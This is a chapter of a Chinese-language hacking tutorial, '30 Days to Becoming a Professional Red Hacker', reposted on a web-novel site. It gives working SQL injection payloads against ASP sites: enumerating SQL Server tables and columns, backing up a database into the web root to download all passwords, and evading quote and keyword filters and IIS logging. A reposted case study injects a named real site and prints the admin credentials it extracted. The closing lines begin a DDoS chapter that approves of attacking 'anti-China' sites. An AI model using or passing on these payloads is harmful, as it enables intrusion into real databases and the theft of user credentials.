宠文网

30天打造专业红客

宠文网 > 现代小说 > 30天打造专业红客

第26章

书籍名:《30天打造专业红客》    作者:翟羽佳
    《30天打造专业红客》章节:第26章,宠文网网友提供全文无弹窗免费在线阅读。!


当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

    ③  http://Site/url.asp?id=1  ;;and  db_name()>0

前面有个类似的例子and  user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④  http://Site/url.asp?id=1;backup  database  数据库名  to  disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

    ⑤  http://Site/url.asp?id=1  ;;and  (Select  Top  1  name  from  sysobjects  where  xtype=’U’  and  status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’  and  status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥  http://Site/url.asp?id=1  ;;and  (Select  Top  1  col_name(object_id(‘表名’),1)  from  sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

以上6点是我研究SQLServer注入以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。  



有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在前面的SQL一般注入中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where  xtype=’U’,字符U对应的ASCII码是85,所以可以用where  xtype=char(85)代替;如果字符是中文的,比如where  name=’用户’,可以用where  name=nchar(29992)+nchar(25143)代替。

三  经典中的经典

经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5.  猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

『第23天』SQL注入黑客防线网站实例分析

以下为全文转载

今天到黑防站上去看看文章,可能出于“职业”习惯,看到?classid=1之类的东东就不由自主的想加点什么参数进去。

  当在页面http://hacker.cn/article/index.asp?classid=3&Nclassid=13加上①and  1=1和②and  1=2,都提示“处理  URL  时服务器上出错。请和系统管理员联络”,看起来象已经过滤了非法提交,IIS也关闭了错误提示,再加上一个③单引号’的时候,也出同样的错误提示,然而明显与前两个错误提示不同,因为前者显示了黑客防线的Logo才提示错误,后者则是一个空白的错误提示页。

  这可是我从来没碰到过的特殊情况,到底能不能注入呢?

  换个角度,从程序员的思路是怎么写这段程序的。首先,如果是用cint之类函数,那三种测试方法错误提示应该是完全一样的;如果没过滤的话,①②的结果应该是不一样的。排除了几种情况,最后觉得极可能是部分语句过滤,出现这种情况很可能是cint语句不小心放到SQL语句的后面,在SQL语句通过后,后面的语句报错。

  虽然还不很确定实际的程序是怎么写的,但可以确定,这确实是一个注入点!

  根据我写的《SQL注入漏洞全接触》,下一步就是判断数据库类型,因为错误提示都被屏蔽,只能通过系统表测试了,输入:

  http://hacker.cn/article/index.asp?classid=1  and  (Select  count(1)  from  sysobjects)>=0

  提示出错,没出现Logo,说明是语句本身有错,极可能是表sysobjects不存在,也就是说数据库是Access,再拿一个Access应有的系统表试试(msysobjects在这个时候派不上用场,因为在Web下没有权限读取,SQL语句同样不能通过,所以,必须换个有权限的表如MSysAccessObjects),果然,出现了黑防的Logo,证实数据库确实是Access。

  接下来的猜解就比较简单了,用(count(1)  from  admin)>=0测试出admin表存在,表中有username、password字段。本来以为下面就是用最普通的Ascii解码法猜解记录,小Case,没想到,一开始猜解,才发现这是最难啃的一块骨头:传统的Ascii对比中,无论条件是否成立,语句都是可以正确执行的,它是利用ASP的出错而非SQL语句的出错来发现错误的,在这个页面,不管你成不成立,都是显示一个Logo然后报错,根据无法做出判断。

  冥思苦想了半个钟头,终于想出一种方法,让SQL语句有条件的报错,先看看语句:

http://hacker.cn/article/index.asp?classid=1  and  

(select  top  1  iif(asc(mid(username,1,1))>96,1,username)  from  admin)>0

  写出这个语句的时候,连我自己都好崇拜我自己,哈哈,别吐,解释一下,asc(mid(username,1,1))这个都看得懂,取username第一位的ASCII码,大于96的话,select出数字1,小于等于96的话,select输出字符串username,然后,拿select出的值与0比较。

1与0都是数字型,当ASCII码大于96的时候,SQL语句不会出错;username则是字符型,当ASCII码小于等于96的时候,SQL语句会出错。所以,两种情况的出错提示是不同的,我们可以根据出错提示判断语句是否成立,从而逐步缩小每一位字符的范围,得出username的值。

于是,根据上面所说的方法,得出username的值为:chr(98)+  chr(114)+  chr(105)+  chr(103)+  chr(104)+  chr(116)=bright,password的值为chr(109)+  chr(105)+  chr(110)+  chr(103)+  chr(116)+  chr(105)  +  chr(97)+  chr(110)=mingtian,解码完成。

[第24天]DDOS攻击

今天我们来说说  DDOS  攻击  这里我不准备提供任何工具的下载地址  因为我反对不聊的攻击  如果你攻击反华网站还差不多

其实在前几天我总结过网络攻击的几种形式(详见:http://91one/dvbbs/dispbbs.asp?boardID=16&ID=698)  也就几种:1。